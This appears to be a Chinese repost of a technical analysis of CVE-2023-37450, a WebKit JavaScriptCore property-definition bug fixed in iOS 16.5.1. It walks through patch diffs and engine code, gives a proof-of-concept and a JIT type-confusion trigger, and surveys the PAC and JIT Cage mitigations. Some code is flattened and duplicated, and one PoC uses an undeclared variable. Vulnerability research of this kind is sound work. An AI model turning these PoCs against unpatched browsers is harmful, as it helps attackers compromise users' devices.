iOS 16.5.1 Safari RCE 分析(CVE-2023-37450)

admin 2024年6月9日00:25:49评论37 views字数 17239阅读57分27秒阅读模式

iOS 16.5.1 Safari RCE 分析(CVE-2023-37450)

介绍

过去,主流 JavaScript 引擎(例如 Google V8 和 Apple JavaScriptCore)的 JIT 编译器中存在大量副作用漏洞,其中 Google 的 V8 Typer 系统和 Apple 的 AbstractInterpreter(AI) 问题尤为严重。然而,由于人们付出了大量努力来修复这些问题,发现此类漏洞变得更加困难。

在寻找 WebKit 安全更新时,我们发现了一个与 AI 相关的有趣漏洞案例。据报道,该漏洞已被广泛利用。

虽然这是一个相当古老的漏洞,而且现在苹果正在准备 iOS 18,但我们认为这是一个值得浏览器安全研究人员关注的案例,我们分享了对该案例的详细分析。

Safari RCE 漏洞

iOS 16.5.1 有一个快速安全更新,称为 CVE-2023–37450。您可以从此处查看信息。

  • https://support.apple.com/en-us/HT213841

我们不确定这是否就是上面的补丁,但它也是一个可利用的 RCE 漏洞。您可以从此处查看补丁提交。

https://github.com/WebKit/WebKit/commit/1b0741f400ee2d31931ae30f2ddebe66e8fb0945

https://github.com/WebKit/WebKit/commit/39476b8c83f0ac6c9a06582e4d8e5aef0bb0a88f

根本原因分析

补丁提交本身很好地解释了漏洞本身。它与属性访问机制的慢速/快速路径有关,这是 JS 引擎中相当常见的漏洞模式。

让我们举例解释一下。

let o = {}o.p1 = 0x1337;o.p1;

在上面的示例中, o.p1 没有任何安全问题。但是我们可以添加一些自定义处理程序来访问属性。

let o = {};o.__defineGetter__("p1", () => {    console.log("Getter is called");})

与第一个示例不同,当我们访问 p1 时,我们可以调用自定义处理程序来获取属性值。那么,为什么这对JS引擎的安全性有害呢?因为它可能违反 JS 引擎对运行时/JIT 上下文的假设。此类漏洞的圣经是 CVE-2016-4622。

  • http://www.phrack.org/issues/70/3.html

无论如何,现在将我们的注意力转移到补丁日志上。

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cppindex 32473bf2a38e..75916e3c1bfe 100644--- a/Source/JavaScriptCore/runtime/JSObject.cpp+++ b/Source/JavaScriptCore/runtime/JSObject.cpp@@ -1162,6 +1162,11 @@ void JSObject::enterDictionaryIndexingMode(VM& vm) void JSObject::notifyPresenceOfIndexedAccessors(VM& vm) {+    if (UNLIKELY(isGlobalObject())) {+        jsCast<JSGlobalObject*>(this)->globalThis()->notifyPresenceOfIndexedAccessors(vm);+        return;+    }+     if (mayInterceptIndexedAccesses())         return;diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cppindex 1c33fffa9022..73a9e5e82a54 100644--- a/Source/JavaScriptCore/runtime/JSObject.cpp+++ b/Source/JavaScriptCore/runtime/JSObject.cpp@@ -859,6 +859,18 @@ bool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName property     return putInlineFast(globalObject, propertyName, value, slot); }+static bool canDefinePropertyOnReceiverFast(VM& vm, JSObject* receiver, PropertyName propertyName)+{+    switch (receiver->type()) {+    case ArrayType:+        return propertyName != vm.propertyNames->length;+    case JSFunctionType:+        return propertyName != vm.propertyNames->length && propertyName != vm.propertyNames->name && propertyName != vm.propertyNames->prototype;+    default:+        return false;+    }+}+ static NEVER_INLINE bool definePropertyOnReceiverSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, JSObject* receiver, bool shouldThrow) {     VM& vm = globalObject->vm();@@ -903,8 +915,8 @@ bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyNa     if (receiver->type() == GlobalProxyType)         receiver = jsCast<JSGlobalProxy*>(receiver)->target();-    if (slot.isTaintedByOpaqueObject() || slot.context() == PutPropertySlot::ReflectSet) {-        if (receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty)+    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {+        if (!canDefinePropertyOnReceiverFast(vm, receiver, propertyName))             return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());     }

不难理解。有几点需要注意。

  1. 它们为全局对象添加了索引访问器检查。

  2. 它们阻止 defineProperty 配置 Array 和 Function 类型的 length or prototype 属性。

因此,根据补丁日志,攻击者可以打破 JS 引擎的假设,即上述某些属性是不可配置的。但是通过这个错误,我们可以使它们可配置。

在深入研究这是如何实现之前,有一个非常简单的 poc。

class MyFunction extends Function {    constructor() {        super();        super.prototype = 1;    }}function test1() {    const f = new MyFunction();    f.__defineGetter__("prototype", () => {}); // should throw}function test2(i) {    const f = new MyFunction();    try { f.__defineGetter__("prototype", () => {}); } catch {}    f.prototype.x = i; // should not crash}

根据 MDN, super 定义如下。

The super keyword is used to access properties on an object literal or class's [[Prototype]], or invoke a superclass's constructor....

执行时 super.prototype = 1 ,它由 slow_path_put_by_id_with_this 和 调用 JSObject::putInlineSlow 处理。

// CommonSlowPaths.cppJSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this){    BEGIN();    auto bytecode = pc->as<OpPutByIdWithThis>();    const Identifier& ident = codeBlock->identifier(bytecode.m_property);    JSValue baseValue = GET_C(bytecode.m_base).jsValue();    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();    JSValue putValue = GET_C(bytecode.m_value).jsValue();    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());    baseValue.putInline(globalObject, ident, putValue, slot);    END();}// CommonSlowPaths.cppJSC_DEFINE_COMMON_SLOW_PATH(slow_path_put_by_id_with_this){    BEGIN();    auto bytecode = pc->as<OpPutByIdWithThis>();    const Identifier& ident = codeBlock->identifier(bytecode.m_property);    JSValue baseValue = GET_C(bytecode.m_base).jsValue();    JSValue thisVal = GET_C(bytecode.m_thisValue).jsValue();    JSValue putValue = GET_C(bytecode.m_value).jsValue();    PutPropertySlot slot(thisVal, bytecode.m_ecmaMode.isStrict(), codeBlock->putByIdContext());    baseValue.putInline(globalObject, ident, putValue, slot);    END();}// JSObject.cppbool JSObject::putInlineSlow(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot){    JSObject* obj = this;    for (;;) {        Structure* structure = obj->structure();        if (obj != this && structure->typeInfo().overridesPut())            RELEASE_AND_RETURN(scope, obj->methodTable()->put(obj, globalObject, propertyName, value, slot));        bool hasProperty = false;        unsigned attributes;        PutValueFunc customSetter = nullptr;        PropertyOffset offset = structure->get(vm, propertyName, attributes);  <-- [1]        if (isValidOffset(offset)) {  <-- [2]            hasProperty = true;            if (attributes & PropertyAttribute::CustomAccessorOrValue)                customSetter = jsCast<CustomGetterSetter*>(obj->getDirect(offset))->setter();        } else if (structure->hasNonReifiedStaticProperties()) {  <-- [3]            if (auto entry = structure->findPropertyHashEntry(propertyName)) {                hasProperty = true;                attributes = entry->value->attributes();                // FIXME: Remove this after we stop defaulting to CustomValue in static hash tables.                if (!(attributes & (PropertyAttribute::CustomAccessor | PropertyAttribute::BuiltinOrFunctionOrAccessorOrLazyPropertyOrConstant)))                    attributes |= PropertyAttribute::CustomValue;                if (attributes & PropertyAttribute::CustomAccessorOrValue)                    customSetter = entry->value->propertyPutter();            }        }        ...        JSValue prototype = obj->getPrototype(vm, globalObject);  <-- [4]        RETURN_IF_EXCEPTION(scope, false);        if (prototype.isNull())            break;        obj = asObject(prototype);    }    ...    if (UNLIKELY(isThisValueAltered(slot, this)))  <-- [5]        return definePropertyOnReceiver(globalObject, propertyName, value, slot);    return putInlineFast(globalObject, propertyName, value, slot);    ...}

当将属性放入 JSObject 时,它会检查几件事。

  1. 在 [1] 处,它检查当前 JSObject 作用域中是否存在属性。 PropertyOffset 如果存在,则返回。JSC 的 JSEngine 将属性信息存储在对象中structure 。对象中有 structure 2 个重要成员 - m_seenPropertiesm_propertyTableUnsafe .如果它在 [2] 处返回有效 PropertyOffset,则检查当前偏移量的属性,如 CustomAccessorReadOnly

  2. 如果属性表中不存在属性,则检查当前属性是否来自 [3] 处的静态属性表。您可以在以下链接中看到简单的示例。

  • https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/static

在 [4] 处,如果上述情况失败,它将遍历 JSObject 的原型链,并从 [1] 开始属性查找。

如果找不到属性,则尝试将属性定义为新属性。在 [5] 处,根据 isThisValueAltered 的结果 ,它调用 definePropertyOnReceiverputInlineFast

现在我们应该提醒一下,在进入JSObject::putInlineSlow 之前,JSC Runtime在 slow_path_put_by_id_with_this 中创建了一些基础 JSValue。这些在 中 isThisValueAltered 非常重要,因此我们应该了解每个 JSValue。

  • baseValue

  • thisVal

  • putValue

baseValue代表Function.prototypeFunction.__proto__。在构造函数上下文中thisValue代表thisputValue在1我们的例子中。

ALWAYS_INLINE bool  isThisValueAltered ( const PutPropertySlot& slot, JSObject* baseObject) {     JSValue thisValue = slot.thisValue();     if (LIKELY(thisValue == baseObject))         return  false ; if (!thisValue.isObject())         return  true ;     JSObject* thisObject = asObject(thisValue);     // 只有 GlobalProxyType 才能看作与原始目标对象相同。    if (thisObject->type() == GlobalProxyType && jsCast<JSGlobalProxy*>(thisObject)->target() == baseObject)         return  false ;     return  true ; }

因此,由于thisValuebaseObject不同,isThisValueAltered返回 true,我们将失败definePropertyOnReceiver。在中JSObject::definePropertyOnReceiver,与属性查找例程类似,它会检查几件事以采取慢速路径。

// <https://tc39.es/ecma262/#sec-ordinaryset> (step 3)bool JSObject::definePropertyOnReceiver(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot){    ASSERT(!parseIndex(propertyName));VM& vm = globalObject->vm();    auto scope = DECLARE_THROW_SCOPE(vm);    JSObject* receiver = slot.thisValue().getObject();    // FIXME: For a failure due to primitive receiver, the error message is misleading.    if (!receiver)        return typeError(globalObject, scope, slot.isStrictMode(), ReadonlyPropertyWriteError);    scope.release();    if (receiver->type() == GlobalProxyType)        receiver = jsCast<JSGlobalProxy*>(receiver)->target();    if (slot.isTaintedByOpaqueObject() || receiver->methodTable()->defineOwnProperty != JSObject::defineOwnProperty) {        if (mightBeSpecialProperty(vm, receiver->type(), propertyName.uid()))            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());    }    if (receiver->structure()->hasAnyKindOfGetterSetterProperties()) {        unsigned attributes;        if (receiver->getDirectOffset(vm, propertyName, attributes) != invalidOffset && (attributes & PropertyAttribute::CustomValue))            return definePropertyOnReceiverSlow(globalObject, propertyName, value, receiver, slot.isStrictMode());    }    if (UNLIKELY(receiver->hasNonReifiedStaticProperties()))        return receiver->putInlineFastReplacingStaticPropertyIfNeeded(globalObject, propertyName, value, slot);    return receiver->putInlineFast(globalObject, propertyName, value, slot);}
  • 检查该类型 receiver 是为了 GlobalProxyType 获得正确的 receiver .

  • 检查是否有任何 receiver 种类的 GetterSetter .

它们都不匹配,现在我们到达了放置财产的快速路径。由于我们没有任何静态属性表, JSObject::putInlineFast 因此被调用。

ALWAYS_INLINE bool JSObject::putInlineFast(JSGlobalObject* globalObject, PropertyName propertyName, JSValue value, PutPropertySlot& slot){    VM& vm = getVM(globalObject);    auto scope = DECLARE_THROW_SCOPE(vm);auto error = putDirectInternal<PutModePut>(vm, propertyName, value, 0, slot);    if (!error.isNull())        return typeError(globalObject, scope, slot.isStrictMode(), error);    return true;}template<JSObject::PutMode mode>ALWAYS_INLINE ASCIILiteral JSObject::putDirectInternal(VM& vm, PropertyName propertyName, JSValue value, unsigned newAttributes, PutPropertySlot& slot){    ...    StructureID structureID = this->structureID();    Structure* structure = structureID.decode();    if (structure->isDictionary()) {        ...    }    ...    unsigned currentAttributes;    PropertyOffset offset = structure->get(vm, propertyName, currentAttributes);    if (offset != invalidOffset) {        ...    }    ...    // We want the structure transition watchpoint to fire after this object has switched structure.    // This allows adaptive watchpoints to observe if the new structure is the one we want.    DeferredStructureTransitionWatchpointFire deferredWatchpointFire(vm, structure);    Structure* newStructure = Structure::addNewPropertyTransition(vm, structure, propertyName, newAttributes, offset, slot.context(), &deferredWatchpointFire);    ...    size_t oldCapacity = structure->outOfLineCapacity();    size_t newCapacity = newStructure->outOfLineCapacity();    ...    if (oldCapacity != newCapacity) {        Butterfly* newButterfly = allocateMoreOutOfLineStorage(vm, oldCapacity, newCapacity);        nukeStructureAndSetButterfly(vm, structureID, newButterfly);    }    ...    putDirectOffset(vm, offset, value);    setStructure(vm, newStructure);    slot.setNewProperty(this, offset);    if (newAttributes & PropertyAttribute::ReadOnly)        newStructure->setContainsReadOnlyProperties();    if (UNLIKELY(mayBePrototype()))        vm.invalidateStructureChainIntegrity(VM::StructureChainIntegrityEvent::Add);    return { };

JSObject::putDirectInternal 中,由于它向名为 butterfly 的 OOL(Out of line)属性添加了 prototype 属性,因此 JSC 引擎触发 this 了 JSObject 和 fire StructureTransitionWatchpoint 的结构转换。您可以在官方 WebKit 博客 WatchPoint 中查看有关概念的详细信息!

https://webkit.org/blog/10308/speculation-in-javascriptcore/

因此,通常prototype 属性是不可配置的,但通过这种方式,我们将属性设置为prototype 可配置的 OOL 属性。

但主要问题仍不清楚。

为什么会有人利用这种漏洞?

为了回答这个问题,我们应该找出如果假定不可配置的东西现在实际上是可配置的,会发生什么。

在测试用例中, test1 非常有趣。

当我们 Getter 定义自定义 Function 对象时,它会通过以下回溯进行调用 JSFunction::getOwnPropertySlot 。

* frame #0: 0x000000010afe6ab0 JavaScriptCore`JSC::JSFunction::getOwnPropertySlot(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd2e0, slot=0x000000016fdfd460) at JSFunction.cpp:345:9    frame #1: 0x000000010b0d5740 JavaScriptCore`JSC::JSObject::getOwnPropertyDescriptor(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd530, descriptor=0x000000016fdfd5c0) at JSObject.cpp:3768:19    frame #2: 0x000000010b0e94b4 JavaScriptCore`JSC::JSObject::defineOwnNonIndexProperty(this=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd660, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3906:29    frame #3: 0x000000010b0d33f8 JavaScriptCore`JSC::JSObject::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd6e0, descriptor=0x000000016fdfd8f0, throwException=true) at JSObject.cpp:3926:20    frame #4: 0x000000010afe7188 JavaScriptCore`JSC::JSFunction::defineOwnProperty(object=0x000000011a08e860, globalObject=0x000000011a06a068, propertyName=PropertyName @ 0x000000016fdfd840, descriptor=0x000000016fdfd8f0, throwException=true) at JSFunction.cpp:459:5    frame #5: 0x000000010b1f1d34 JavaScriptCore`JSC::objectProtoFuncDefineGetter(globalObject=0x000000011a06a068, callFrame=0x000000016fdfda00) at ObjectPrototype.cpp:185:5

基本上,由于 prototype 是一个不可配置的属性,它不应该有一个有效的属性偏移量,但由于错误,它有。

bool JSFunction::getOwnPropertySlot(JSObject* object, JSGlobalObject* globalObject, PropertyName propertyName, PropertySlot& slot){    VM& vm = globalObject->vm();    auto scope = DECLARE_THROW_SCOPE(vm);JSFunction* thisObject = jsCast<JSFunction*>(object);    if (propertyName == vm.propertyNames->prototype && thisObject->mayHaveNonReifiedPrototype()) {        unsigned attributes;        PropertyOffset offset = thisObject->getDirectOffset(vm, propertyName, attributes);        if (!isValidOffset(offset)) {            // For class constructors, prototype object is initialized from bytecode via defineOwnProperty().            ASSERT(!thisObject->jsExecutable()->isClassConstructorFunction());            thisObject->putDirect(vm, propertyName, constructPrototypeObject(globalObject, thisObject), prototypeAttributesForNonClass);            offset = thisObject->getDirectOffset(vm, vm.propertyNames->prototype, attributes);            ASSERT(isValidOffset(offset));        }        slot.setValue(thisObject, attributes, thisObject->getDirect(offset), offset);        return true;    }    thisObject->reifyLazyPropertyIfNeeded(vm, globalObject, propertyName);    RETURN_IF_EXCEPTION(scope, false);    RELEASE_AND_RETURN(scope, Base::getOwnPropertySlot(thisObject, globalObject, propertyName, slot));}

它调用 slot.setValue(...) ,这个函数直接设置 propertySlot 。该语句 f.__defineGetter__("prototype", () => {});GetterSetter ,但它不会触发任何观察点,并且被视为普通的 JSValue。

为了执行我们的 Getter ,我们应该达到 PropertySlot::getValue

ALWAYS_INLINE JSValue PropertySlot::getValue(JSGlobalObject* globalObject, uint64_t propertyName) const{    VM& vm = getVM(globalObject);    if (m_propertyType == TypeValue)        return JSValue::decode(m_data.value);    if (m_propertyType == TypeGetter)        return functionGetter(globalObject);    return customGetter(getVM(globalObject), Identifier::from(vm, propertyName));}

为了让副作用在 JSC 的优化代码中发挥作用,我们应该确保 DFG(JSC 的 JIT 编译器之一)的 AI(Abstract Intepreter)认为可以安全执行。AI 主要在 JIT 编译器的 CFA(控制流分析)阶段工作。当 DFG 的 AI 认为执行不安全时(实际上意味着优化不安全),它会调用 clobberWorld() .由于 AI 是一种状态机,因此在调用时 clobberWorld() ,AI 的状态会更改为 ClobberedStructures 。这些信息将用于恒定折叠阶段,也间接用于 CSE(共同亚表达消除)阶段等几个阶段。

搜索了一会儿,操作码似乎很有趣, Spread 因为它可以在创建 JSImmutableButterfly 时访问所有元素。 Spread 此外,操作码用于 AI 分析阶段,它将被确定为安全节点。

以下是此 bug 的类型混淆 poc。在 WebKit 提交 c7d1888949f94118612536ffc3b7f58cf102114b 上测试。

class Base extends Function {    constructor() {        super();        super.prototype = 1;    }}let victim = [1.1, 2.2, 3.3];victim[0] = 1.1;const b = new Base();function opt(flag) {    victim[0] = 13.37; victim[1] = 13.37;    if (flag) [...arr];    victim[1] = 3.54484805889626e-310;}Object.defineProperty(arr, 0, {value:1.1, configurable:false, writable:true});b.__defineGetter__("prototype", function() { victim[1] = {}; });for (let i = 0; i < 0x100000; i++) { opt(false); }arr[0] = b.prototype;opt(true);victim[1] + 1;

结论

  • 这是非常有趣的传统副作用错误,并且从那里获取任意读/写基元并不是那么困难的任务。

  • 但是,在 macOS 和 iOS 上劫持 WebContent 进程的控制流需要绕过多个缓解措施。

iOS 16.5.1 Safari RCE 分析(CVE-2023-37450)

[图片来自 https://www.synacktiv.com/sites/default/files/2022-10/attacking_safari_in_2022_slides.pdf]

如图所示,Apple 引入了许多基于硬件和软件的缓解措施。

在这些缓解措施中,有两项特别具有挑战性:

  1. PAC(指针验证码)旁路

  2. JIT Cage bypass

PAC 是 ARMv8.3 在 2016 年引入的基于硬件的缓解措施,用于保护敏感指针,例如虚拟功能表。它使用密钥对指针进行签名,并在访问签名之前对其进行身份验证。由于 iPhone 上的 A12 处理器和 macOS 上的 M1,PAC 是 Apple 平台二进制文件(如 Safari)的默认值。因此,通常需要 PAC 旁路来劫持控制流。

最近有感兴趣的用户模式 PAC 绕过 WebContent 进程在公共场合。

  • https://github.com/WebKit/WebKit/commit/81c26e6a4483686853f4f88dbde6e212062755d3

Manfred Paul (@_manfp) 将其用于他的 Pwn2Own 2024 Safari 漏洞 https://github.com/WebKit/WebKit/commit/81c26e6a4483686853f4f88dbde6e212062755d3

  • Synacktiv released their offensivecon 2024 slide, there are very interested usermode PAC bypass through DYLD. Synacktiv Slide - https://www.synacktiv.com/sites/default/files/2024-05/escaping_the_safari_sandbox_slides.pdf

Synacktiv 发布了他们的 offensivecon 2024 幻灯片,通过 DYLD 有非常感兴趣的用户模式 PAC 旁路。Synacktiv 幻灯片

另一个令人讨厌的缓解措施是 A15 处理器(iPhone 13 系列)引入的 JIT 笼旁路。以前,攻击者可以将其 shellcode 复制到 JIT 内存区域。但是,使用 JIT 笼时,指令在 JIT 内存中受到限制,从而阻止执行:

  • RET

  • BR/BLR/BL

  • SVC

  • MRS/MSR

  • PACDA/AUTDA

这旨在防止攻击者调用任意函数。受限信息在内核中 jitbox_cfg_set 配置(可以从 KDK 轻松找到)。

iOS 16.5.1 Safari RCE 分析(CVE-2023-37450)

使用用户模式 PAC 旁路时,JIT 笼旁路实际上不是强制性的,但如果没有 JIT 笼旁路,要从 WebContent 运行其他有效负载,需要实现一些基础结构,例如 [NSExpression 漏洞]( https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html)。

  • 从 WebContent 执行任意代码变得更加困难,用于用户模式 PAC 和 JIT Cage bypass 的公共资源仍然很少。

  • 我们对此有一些想法,我们想进一步完善它,然后在以后的帖子中介绍它(如果有的话)。

iOS 16.5.1 safari RCE Analysis(CVE-202337450)https://medium.com/@enki-techblog/ios-16-5-1-safari-rce-analysis-cve-2023-37450-89bb8583bebc

原文始发于微信公众号(Ots安全):iOS 16.5.1 Safari RCE 分析(CVE-2023-37450)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月9日00:25:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   iOS 16.5.1 Safari RCE 分析(CVE-2023-37450)https://cn-sec.com/archives/2813904.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息